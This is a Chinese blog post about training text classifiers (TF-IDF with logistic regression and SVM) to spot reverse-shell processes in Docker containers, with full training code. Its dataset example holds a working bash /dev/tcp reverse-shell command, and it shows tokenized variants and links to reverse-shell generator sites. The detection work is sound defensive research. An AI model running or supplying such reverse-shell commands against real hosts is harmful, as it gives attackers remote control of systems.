引言
本文介绍一个基于机器学习识别反弹shell的项目。 在主机安全检测中,一般是采用基于原理的方式识别反弹shell, 通过判断socket通信相关特征,可以准确地识别到主机中的反弹shell。 但是在容器场景下,检测反弹shell 的能力,可能会受到容器网络模式的限制,在容器默认运行的bridge 模式下, 是很难通过基于原理的方式识别反弹shell的。
-
bridge模式
相当于Vmware中的Nat模式,容器使用独立network Namespace,并连接到docker0虚拟网卡(Docker进程首次启动时会在当前节点上创建一个名为docker0的桥设备,并默认配置其使用172.17.0.0/16网络,改网络是Bridge模式的一种实现,也是创建容器是默认使用的网络),通过docker0网桥以及Iptables nat表配置与宿主机通信;bridge模式是Docker默认的网络设置,此模式会为每一个容器分配Network Namespace、设置IP等,并将一个主机上的Docker容器连接到一个虚拟网桥上。
-
反弹shell 参考资料
https://xz.aliyun.com/t/6727
https://help.aliyun.com/document_detail/206139.html
这个文章讲的比较好,值得反复推敲。
这里有个反弹shell的生成网站
https://github.com/r00tSe7en/Reverse-shell-cheatsheet
- 使用python执行反弹shell,得到的进程特征如下:
- 使用nc执行反弹shell, 得到的进程特征如下:
本文希望基于进程的文本特征来判别反弹shell, 从而弥补一下当前反弹shell检测的能力。
这个项目主要是借鉴的github 上的项目, 这个项目是用来检测URL的,看了下数据集和代码,都比较简单容易上手。对于反弹shell 的数据集, 可以通过词频统计的方式, 来检测是否是反弹shell。
https://github.com/xiejava1018/urldetection
制作数据集
我们希望制作的数据集格式为csv文本, bad表示反弹shell, good表示正常请求
"bash -i >& /dev/tcp/127.0.0.1/8080 0>&1" , bad
对数据集的处理, 我们的思路如下:
- 使用空格, 分号,逗号, 括号, 单引号,双引号, 方括号,圆括号,等于号对 文本进行分割
- 去除特殊符号, 单引号,标点符号。
在线生成shell的网址:
https://www.hackjie.com/batchshell
https://www.hackjie.com/batchshell
https://github.com/r00tSe7en/Reverse-shell-cheatsheet
我们通过各种收集常见的反弹shell , 在收集一下正常的进程名称, 得到我们的数据集, 处理过后, 数据集如下, 其中使用符号 # 替换数字, 来消除各种ip端口带来的差异:
['bash', '-i', '>&', 'dev', 'tcp', '#########', '####', '####']
['bin', 'bash', '-i', '>', 'dev', 'tcp', '#########', '####', '###', '####']
['exec', '###', 'dev', 'tcp', '#########', '####', 'cat', '<&5', '|', 'while', 'read', 'line', 'do', '####', '>&5', 'done']
['exec', 'bin', 'sh', '##', 'dev', 'tcp', '#########', '####', '####', '####']
['######', 'exec', '#####', 'dev', 'tcp', '#########', '####', 'sh', '<&196', '>&196', '######']
训练源码
jupyter全量代码如下:
#%%
import pandas as pd
import numpy as np
import random
import pickle
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.linear_model import LogisticRegression
from sklearn import svm
import re
#%%
# 读取数据文件
data_csv = pd.read_excel('./data/data.xlsx', index_col=None)
print(data_csv)
#%%
data_df = pd.DataFrame(data_csv)
shell_df = np.array(data_df)
random.shuffle(shell_df)
y = [d[1] for d in shell_df]
input_shell = [d[0] for d in shell_df]
#%%
# 数据预处理的核心函数
def getTokens(input):
# 将数字替换为如下字符
flag = '#'
command = input.lower()
# 使用各种字符来分割一下数据
shell_list = re.split('[ ,;:\'\"()=/\[\]]', command)
result_list_tmp = []
# 去除空格
for i in shell_list:
if i !='':
result_list_tmp.append(i)
# 把数字转变为其他符号
for i,v in enumerate(result_list_tmp):
if re.match('([0-9]|\.)', v):
result_list_tmp[i] = flag * len(v)
result_list = result_list_tmp
return result_list
#%%
# 制作训练数据和测试数据
shell_vectorizer = TfidfVectorizer(tokenizer=getTokens)
x = shell_vectorizer.fit_transform(input_shell)
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)
#%%
# 下面是使用逻辑回归的模型训练
l_regress = LogisticRegression()
l_regress.fit(x_train, y_train)
l_score = l_regress.score(x_test, y_test)
print("score: {0:.2f} %".format(100 * l_score))
#%%
# 下面是使用SVM的模型训练
svmModel=svm.LinearSVC()
svmModel.fit(x_train, y_train)
svm_score=svmModel.score(x_test, y_test)
print("score: {0:.2f} %".format(100 * svm_score))
#%%
# 保存模型的参数
file1 = './model/model.pkl'
with open(file1, 'wb') as f:
pickle.dump(svmModel, f)
f.close()
训练结果:
- 使用逻辑回归算法,准确率达到98%,
- 使用SVM算法, 准确率达到100% (可能是数据量比较少导致的)
结论:
本项目的不足:
这是一个二分类问题, 检测正常命令/进程和反弹shell命令/进程,如果只看进程的话,攻防演练中发现反弹shell进程是非常容易伪装的, 可能进程的字符串并没有任何反弹shell的特征,这种情况下, 基于文本特征的机器学习检测反弹shell方法会受到限制。
本项目的优点:
准确率还是比较高的, 预测的速度也挺快。 这是一个简易容易上手的项目, 非常适用于以下场景:
基于文本的分类问题 & 文本的类别很大程度上和单词频率相关 & 文本类别与单词的先后顺序关联较小。
计划后续会分享下面主题的文章:
- 机器学习: 准确率,查准率,查全率
- 机器学习: TF-IDF算法
- 机器学习: 逻辑回归算法
- 机器学习: SVM算法